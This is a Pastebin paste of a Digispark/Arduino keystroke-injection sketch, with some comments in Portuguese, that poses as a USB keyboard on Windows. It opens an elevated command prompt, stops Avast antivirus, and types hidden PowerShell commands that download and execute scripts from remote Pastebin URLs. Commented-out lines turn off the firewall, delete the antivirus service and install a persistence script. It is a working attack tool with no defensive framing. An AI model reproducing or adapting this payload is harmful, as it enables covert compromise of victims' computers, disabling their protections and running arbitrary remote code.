Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include "DigiKeyboard.h"
- #define KEY_LEFT_ARROW 0x50
- void setup() {
- // don't need to set anything up to use DigiKeyboard
- }
- void loop() {
- // this is generally not necessary but with some older systems it seems to
- // prevent missing the first character after a delay:
- DigiKeyboard.sendKeyStroke(0);
- DigiKeyboard.delay(500);
- // abre o menu iniciar do widnows
- DigiKeyboard.sendKeyStroke(0, MOD_GUI_LEFT);
- DigiKeyboard.delay(500);
- DigiKeyboard.print("cmd"); // digita no campo de pesquisa
- DigiKeyboard.delay(1000);
- DigiKeyboard.sendKeyStroke(KEY_ENTER, MOD_CONTROL_LEFT + MOD_SHIFT_LEFT);
- DigiKeyboard.delay(500);
- DigiKeyboard.sendKeyStroke(KEY_LEFT_ARROW);
- DigiKeyboard.delay(500);
- DigiKeyboard.sendKeyStroke(KEY_ENTER);
- DigiKeyboard.delay(1000);
- /*DigiKeyboard.println("netsh advfirewall set allprofiles state off");
- DigiKeyboard.delay(500);
- DigiKeyboard.sendKeyStroke(KEY_ENTER);
- DigiKeyboard.delay(500);*/
- //DigiKeyboard.println("powershell -windowstyle hidden iex (wget https://pastebin.com/raw/5wC1jFpD)");
- //DigiKeyboard.println("powershell -windowstyle hidden iex (wget https://pastebin.com/raw/G8rfEhr5)");
- // DigiKeyboard.println("powershell -windowstyle hidden iex (wget https://pastebin.com/raw/w4Ffy18B)");
- DigiKeyboard.println("net stop \"avast! Antivirus\"");
- DigiKeyboard.sendKeyStroke(KEY_ENTER);
- DigiKeyboard.delay(1000);
- DigiKeyboard.sendKeyStroke(KEY_LEFT_ARROW);
- DigiKeyboard.delay(500);
- DigiKeyboard.sendKeyStroke(KEY_LEFT_ARROW);
- DigiKeyboard.delay(500);
- DigiKeyboard.sendKeyStroke(KEY_ENTER);
- DigiKeyboard.delay(15000);
- /*DigiKeyboard.println('Sc delete "avast! Antivirus"');
- DigiKeyboard.sendKeyStroke(KEY_ENTER);
- DigiKeyboard.delay(500);*/
- //---------------------------------
- // this is generally not necessary but with some older systems it seems to
- // prevent missing the first character after a delay:
- DigiKeyboard.sendKeyStroke(0);
- DigiKeyboard.delay(500);
- // abre o menu iniciar do widnows
- DigiKeyboard.sendKeyStroke(0, MOD_GUI_LEFT);
- DigiKeyboard.delay(500);
- DigiKeyboard.print("cmd"); // digita no campo de pesquisa
- DigiKeyboard.delay(1000);
- DigiKeyboard.sendKeyStroke(KEY_ENTER); // abre o prompt de comando
- DigiKeyboard.delay(500);
- // Type out this string letter by letter on the computer (assumes US-style
- // keyboard)
- DigiKeyboard.println("powershell -windowstyle hidden iex (wget https://pastebin.com/raw/f3BcdKbW)");
- DigiKeyboard.delay(500);
- DigiKeyboard.sendKeyStroke(KEY_ENTER);
- // It's better to use DigiKeyboard.delay() over the regular Arduino delay()
- // if doing keyboard stuff because it keeps talking to the computer to make
- // sure the computer knows the keyboard is alive and connected
- DigiKeyboard.delay(500);
- //-----------------------------------
- // this is generally not necessary but with some older systems it seems to
- // prevent missing the first character after a delay:
- DigiKeyboard.sendKeyStroke(0);
- DigiKeyboard.delay(500);
- // abre o menu iniciar do widnows
- DigiKeyboard.sendKeyStroke(0, MOD_GUI_LEFT);
- DigiKeyboard.delay(500);
- DigiKeyboard.print("cmd"); // digita no campo de pesquisa
- DigiKeyboard.delay(1000);
- DigiKeyboard.sendKeyStroke(KEY_ENTER); // abre o prompt de comandos
- DigiKeyboard.delay(500);
- // Type out this string letter by letter on the computer (assumes US-style
- // keyboard)
- //DigiKeyboard.println("powershell -windowstyle hidden iex (wget https://pastebin.com/raw/FRXdq3B0)");
- //DigiKeyboard.println("powershell -windowstyle hidden iex (wget https://pastebin.com/raw/TbZUchXG)");
- //DigiKeyboard.println("powershell -windowstyle hidden iex (wget https://pastebin.com/raw/yAXjLcpD)");
- DigiKeyboard.println("powershell -windowstyle hidden iex (wget https://pastebin.com/raw/V0y7vRjk)");
- //DigiKeyboard.println("powershell.exe -exec bypass -Command 'iex (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Shellntel/scripts/master/powershell-persist.ps1'); Add-Persistence http://WEBSERVER/powershell_attack.txt;'");
- DigiKeyboard.delay(500);
- DigiKeyboard.sendKeyStroke(KEY_ENTER);
- // It's better to use DigiKeyboard.delay() over the regular Arduino delay()
- // if doing keyboard stuff because it keeps talking to the computer to make
- // sure the computer knows the keyboard is alive and connected
- DigiKeyboard.delay(5000);
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement